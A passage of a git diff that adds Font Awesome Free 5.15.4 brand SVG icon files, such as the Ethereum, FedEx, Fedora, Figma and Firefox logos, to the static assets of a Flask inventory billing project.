9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/envira.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/envira.svg new file mode 100644 index 00000000..17d5aac0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/envira.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/erlang.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/erlang.svg new file mode 100644 index 00000000..5829f255 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/erlang.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ethereum.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ethereum.svg new file mode 100644 index 00000000..431fff66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/ethereum.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/etsy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/etsy.svg new file mode 100644 index 00000000..1dd77868 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/etsy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/evernote.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/evernote.svg new file mode 100644 index 00000000..6f5d52b9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/evernote.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/expeditedssl.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/expeditedssl.svg new file mode 100644 index 00000000..8dd07f83 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/expeditedssl.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-f.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-f.svg new file mode 100644 index 00000000..ab83e9c6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-f.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-messenger.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-messenger.svg new file mode 100644 index 00000000..e6321a8f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-messenger.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-square.svg new file mode 100644 index 00000000..8e0b51fb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook.svg new file mode 100644 index 00000000..7f375de4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/facebook.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fantasy-flight-games.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fantasy-flight-games.svg new file mode 100644 index 00000000..5cedf3ff --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fantasy-flight-games.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedex.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedex.svg new file mode 100644 index 00000000..f3f19ffb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedex.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedora.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedora.svg new file mode 100644 index 00000000..ef933a43 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/fedora.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/figma.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/figma.svg new file mode 100644 index 00000000..13ba70c8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/figma.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox-browser.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox-browser.svg new file mode 100644 index 00000000..4852f7ef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox-browser.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox.svg new file mode 100644 index 00000000..6867402b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/firefox.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path 